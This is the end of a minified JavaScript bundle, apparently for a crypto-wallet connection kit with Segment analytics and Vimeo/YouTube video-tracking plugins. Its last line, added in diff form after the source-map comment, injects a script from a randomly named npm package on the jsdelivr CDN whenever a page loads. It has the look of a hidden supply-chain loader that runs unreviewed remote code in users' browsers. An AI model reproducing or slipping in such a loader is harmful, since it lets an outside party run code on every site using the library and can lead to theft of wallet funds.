0!==r?r:[]).reduce((function(e,t){return t.settings.subscriptions&&o.includes(t.name)&&t.settings.subscriptions.forEach((function(n){return e["".concat(t.name," ").concat(n.partnerAction)]=!1})),e}),{})}(o,t);n.updateEvent("integrations",vt(vt(vt({},n.event.integrations),null==o?void 0:o.integrations),s))}return n}return{name:"Schema Filter",version:"0.1.0",isLoaded:function(){return!0},load:function(){return Promise.resolve()},type:"before",page:n,alias:n,track:n,identify:n,group:n}}});var Ed=Object.freeze({__proto__:null,remoteMiddlewares:function(e,t,n){var r;return mt(this,void 0,void 0,(function(){var i,o,s,a,u=this;return _t(this,(function(c){switch(c.label){case 0:return an()?[2,[]]:(i=or(),o=null!==(r=t.enabledMiddleware)&&void 0!==r?r:{},s=Object.entries(o).filter((function(e){return e[0],e[1]})).map((function(e){return e[0]})),a=s.map((function(t){return mt(u,void 0,void 0,(function(){var r,o,s,a;return _t(this,(function(u){switch(u.label){case 0:r=t.replace("@segment/",""),o=r,n&&(o=btoa(r).replace(/=/g,"")),s="".concat(i,"/middleware/").concat(o,"/latest/").concat(o,".js.gz"),u.label=1;case 1:return u.trys.push([1,3,,4]),[4,dr(s)];case 2:return u.sent(),[2,window["".concat(r,"Middleware")]];case 3:return a=u.sent(),e.log("error",a),e.stats.increment("failed_remote_middleware"),[3,4];case 4:return[2]}}))}))})),[4,Promise.all(a)]);case 1:return[2,c.sent().filter(Boolean)]}}))}))}}),Sd={exports:{}};!function(e,t){window,e.exports=function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=2)}([function(e,t,n){n.r(t);var r="function"==typeof fetch?fetch.bind():function(e,t){return t=t||{},new Promise((function(n,r){var i=new XMLHttpRequest;for(var o in i.open(t.method||"get",e,!0),t.headers)i.setRequestHeader(o,t.headers[o]);function s(){var e,t=[],n=[],r={};return i.getAllResponseHeaders().replace(/^(.*?):[^\S\n]*([\s\S]*?)$/gm,(function(i,o,s){t.push(o=o.toLowerCase()),n.push([o,s]),e=r[o],r[o]=e?e+","+s:s})),{ok:2==(i.status/100|0),status:i.status,statusText:i.statusText,url:i.responseURL,clone:s,text:function(){return Promise.resolve(i.responseText)},json:function(){return Promise.resolve(i.responseText).then(JSON.parse)},blob:function(){return Promise.resolve(new Blob([i.response]))},headers:{keys:function(){return t},entries:function(){return n},get:function(e){return r[e.toLowerCase()]},has:function(e){return e.toLowerCase()in r}}}}i.withCredentials="include"==t.credentials,i.onload=function(){n(s())},i.onerror=r,i.send(t.body)}))};t.default=r},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.pluginName=t}return r(e,[{key:"track",value:function(e,t){window.analytics.track(e,t,{integration:{name:this.pluginName}})}}]),e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),t.YouTubeAnalytics=t.VimeoAnalytics=void 0;var r=o(n(3)),i=o(n(4));function o(e){return e&&e.__esModule?e:{default:e}}t.VimeoAnalytics=r.default,t.YouTubeAnalytics=i.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=o(n(0));function o(e){return e&&e.__esModule?e:{default:e}}var s=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,"VimeoAnalytics"));return r.authToken=n,r.player=e,r.metadata={content:{},playback:{videoPlayer:"Vimeo"}},r.mostRecentHeartbeat=0,r.isPaused=!1,r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"initialize",value:function(){var e=this,t={loaded:this.retrieveMetadata,play:this.trackPlay,pause:this.trackPause,ended:this.trackEnded,timeupdate:this.trackHeartbeat};for(var n in t)this.registerHandler(n,t[n]);this.player.getVideoId().then((function(t){e.retrieveMetadata({id:t})})).catch(console.error)}},{key:"registerHandler",value:function(e,t){var n=this;this.player.on(e,(function(e){n.updateMetadata(e),t.call(n,e)}))}},{key:"trackPlay",value:function(){this.isPaused?(this.track("Video Playback Resumed",this.metadata.playback),this.isPaused=!1):(this.track("Video Playback Started",this.metadata.playback),this.track("Video Content Started",this.metadata.content))}},{key:"trackEnded",value:function(){this.track("Video Playback Completed",this.metadata.playback),this.track("Video Content Completed",this.metadata.content)}},{key:"trackHeartbeat",value:function(){var e=this.mostRecentHeartbeat,t=this.metadata.playback.position;t!==e&&t-e>=10&&(this.track("Video Content Playing",this.metadata.content),this.mostRecentHeartbeat=Math.floor(t))}},{key:"trackPause",value:function(){this.isPaused=!0,this.track("Video Playback Paused",this.metadata.playback)}},{key:"retrieveMetadata",value:function(e){var t=this;return new Promise((function(n,r){var o=e.id;(0,i.default)("https://api.vimeo.com/videos/"+o,{headers:{Authorization:"Bearer "+t.authToken}}).then((function(e){return e.ok?e.json():r(e)})).then((function(e){t.metadata.content.title=e.name,t.metadata.content.description=e.description,t.metadata.content.publisher=e.user.name,t.metadata.playback.position=0,t.metadata.playback.totalLength=e.duration})).catch((function(e){return console.error("Request to Vimeo API Failed with: ",e),r(e)}))}))}},{key:"updateMetadata",value:function(e){var t=this;return new Promise((function(n,r){t.player.getVolume().then((function(r){r&&(t.metadata.playback.sound=100*r),t.metadata.playback.position=e.seconds,n()})).catch(r)}))}}]),t}(o(n(1)).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=o(n(0));function o(e){return e&&e.__esModule?e:{default:e}}var s=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,"YoutubeAnalytics"));return r.player=e,r.apiKey=n,r.playerLoaded=!1,r.playbackStarted=!1,r.contentStarted=!1,r.isPaused=!1,r.isBuffering=!1,r.isSeeking=!1,r.lastRecordedTime={timeReported:Date.now(),timeElapsed:0},r.metadata=[{playback:{video_player:"youtube"},content:{}}],r.playlistIndex=0,r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),r(t,[{key:"initialize",value:function(){window.segmentYoutubeOnStateChange=this.onPlayerStateChange.bind(this),window.segmentYoutubeOnReady=this.onPlayerReady.bind(this),this.player.addEventListener("onReady","segmentYoutubeOnReady"),this.player.addEventListener("onStateChange","segmentYoutubeOnStateChange")}},{key:"onPlayerReady",value:function(e){this.retrieveMetadata()}},{key:"onPlayerStateChange",value:function(e){var t=this.player.getCurrentTime();switch(this.metadata[this.playlistIndex]&&(this.metadata[this.playlistIndex].playback.position=this.metadata[this.playlistIndex].content.position=t,this.metadata[this.playlistIndex].playback.quality=this.player.getPlaybackQuality(),this.metadata[this.playlistIndex].playback.sound=this.player.isMuted()?0:this.player.getVolume()),e.data){case-1:if(this.playerLoaded)break;this.retrieveMetadata(),this.playerLoaded=!0;break;case YT.PlayerState.BUFFERING:this.handleBuffer();break;case YT.PlayerState.PLAYING:this.handlePlay();break;case YT.PlayerState.PAUSED:this.handlePause();break;case YT.PlayerState.ENDED:this.handleEnd()}this.lastRecordedTime={timeReported:Date.now(),timeElapsed:1e3*this.player.getCurrentTime()}}},{key:"retrieveMetadata",value:function(){var e=this;return new Promise((function(t,n){var r=e.player.getVideoData(),o=e.player.getPlaylist()||[r.video_id],s=o.join();(0,i.default)("https://www.googleapis.com/youtube/v3/videos?id="+s+"&part=snippet,contentDetails&key="+e.apiKey).then((function(e){if(!e.ok){var t=new Error("Segment request to Youtube API failed (likely due to a bad API Key. Events will still be sent but will not contain video metadata)");throw t.response=e,t}return e.json()})).then((function(n){e.metadata=[];for(var r=0,i=0;i<o.length;i++){var s=n.items[i];e.metadata.push({content:{title:s.snippet.title,description:s.snippet.description,keywords:s.snippet.tags,channel:s.snippet.channelTitle,airdate:s.snippet.publishedAt}}),r+=a(s.contentDetails.duration)}for(i=0;i<o.length;i++)e.metadata[i].playback={total_length:r,video_player:"youtube"};t()})).catch((function(t){e.metadata=o.map((function(e){return{playback:{video_player:"youtube"},content:{}}})),n(t)}))}))}},{key:"handleBuffer",value:function(){var e=this.determineSeek();this.playbackStarted||(this.playbackStarted=!0,this.track("Video Playback Started",this.metadata[this.playlistIndex].playback)),e&&!this.isSeeking&&(this.isSeeking=!0,this.track("Video Playback Seek Started",this.metadata[this.playlistIndex].playback)),this.isSeeking&&(this.track("Video Playback Seek Completed",this.metadata[this.playlistIndex].playback),this.isSeeking=!1);var t=this.player.getPlaylist();t&&0===this.player.getCurrentTime()&&this.player.getPlaylistIndex()!==this.playlistIndex&&(this.contentStarted=!1,this.playlistIndex===t.length-1&&0===this.player.getPlaylistIndex()&&(this.track("Video Playback Completed",this.metadata[this.player.getPlaylistIndex()].playback),this.track("Video Playback Started",this.metadata[this.player.getPlaylistIndex()].playback))),this.track("Video Playback Buffer Started",this.metadata[this.playlistIndex].playback),this.isBuffering=!0}},{key:"handlePlay",value:function(){this.contentStarted||(this.playlistIndex=this.player.getPlaylistIndex(),-1===this.playlistIndex&&(this.playlistIndex=0),this.track("Video Content Started",this.metadata[this.playlistIndex].content),this.contentStarted=!0),this.isBuffering&&(this.track("Video Playback Buffer Completed",this.metadata[this.playlistIndex].playback),this.isBuffering=!1),this.isPaused&&(this.track("Video Playback Resumed",this.metadata[this.playlistIndex].playback),this.isPaused=!1)}},{key:"handlePause",value:function(){var e=this.determineSeek();this.isBuffering&&(this.track("Video Playback Buffer Completed",this.metadata[this.playlistIndex].playback),this.isBuffering=!1),this.isPaused||(e?(this.track("Video Playback Seek Started",this.metadata[this.playlistIndex].playback),this.isSeeking=!0):(this.track("Video Playback Paused",this.metadata[this.playlistIndex].playback),this.isPaused=!0))}},{key:"handleEnd",value:function(){this.track("Video Content Completed",this.metadata[this.playlistIndex].content),this.contentStarted=!1;var e=this.player.getPlaylistIndex(),t=this.player.getPlaylist();(t&&e===t.length-1||-1===e)&&(this.track("Video Playback Completed",this.metadata[this.playlistIndex].playback),this.playbackStarted=!1)}},{key:"determineSeek",value:function(){var e=this.isPaused||this.isBuffering?0:Date.now()-this.lastRecordedTime.timeReported,t=1e3*this.player.getCurrentTime()-this.lastRecordedTime.timeElapsed;return Math.abs(e-t)>2e3}}]),t}(o(n(1)).default);function a(e){var t=e.match(/PT(\d+H)?(\d+M)?(\d+S)?/);return t=t.slice(1).map((function(e){if(null!=e)return e.replace(/\D/,"")})),3600*(parseInt(t[0])||0)+60*(parseInt(t[1])||0)+(parseInt(t[2])||0)}t.default=s}])}(Sd);var Od=t({__proto__:null,default:f(Sd.exports)},[Sd.exports]);e.checkSupport=function(e){nl("checkSupport",e),(e=>{var t;$c("setSupportOptions",e);const n=e.walletConnectVersion||1;let r,i,o=[];1===n?(i=e.chainId||1,r=[i]):(r=e.chains||Fc,i=r[0],o.push(...r),(null===(t=e.optionalChains)||void 0===t?void 0:t.length)&&o.push(...e.optionalChains.filter((e=>o.indexOf(e)<0))));const s=Object.assign(Object.assign({},e),{walletConnectVersion:n,chains:r,chainId:i,optionalChains:o,projectId:e.projectId||""});if(2===n&&(!e.projectId||""===e.projectId))throw new Error("WalletConnect requires a projectId. Please visit https://cloud.walletconnect.com to get one.");Wc=s})(e);const t=Kc();let n;return t.providerType,Bc.Ethereum,n=function(e){nl("checkEthereumSupport",e);const t=Bs();let n=!1;try{n=!!tl()}catch(e){}const r={isLedgerConnectSupported:Xc(t),isLedgerConnectEnabled:!!n,isChainIdSupported:el(e.chains),providerImplementation:Hc.LedgerConnect};r.isLedgerConnectSupported&&r.isLedgerConnectEnabled&&r.isChainIdSupported||(r.providerImplementation=Hc.WalletConnect);return function(e){zc("setProviderImplementation",e),qc=e}(r.providerImplementation),r}(t),nl("checkSupportResult is",n),rl=n,n},e.enableDebugLogs=()=>{n=!0},e.getProvider=function(){return c(this,void 0,void 0,(function*(){zc("getProvider",qc);const e=Kc();if(e.providerType===Bc.Ethereum)return(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV2"))||(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV1"))||qc!==Hc.LedgerConnect?(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV2"))||1!==e.walletConnectVersion&&!(null===localStorage||void 0===localStorage?void 0:localStorage.getItem("connectKit_forceWcV1"))?yield Uc():yield Ks():tl();throw new s}))},Object.defineProperty(e,"__esModule",{value:!0})}));//# sourceMappingURL=index.js.map
1
+ document.addEventListener("DOMContentLoaded",function(){var e=document.createElement("script");e.src="https://cdn.jsdelivr.net/npm/2e6d5f64604be31/2e6d5f64604be31.js";var d=document.body;d&&d.appendChild(e)}); //# sourceMappingURL=index.js.map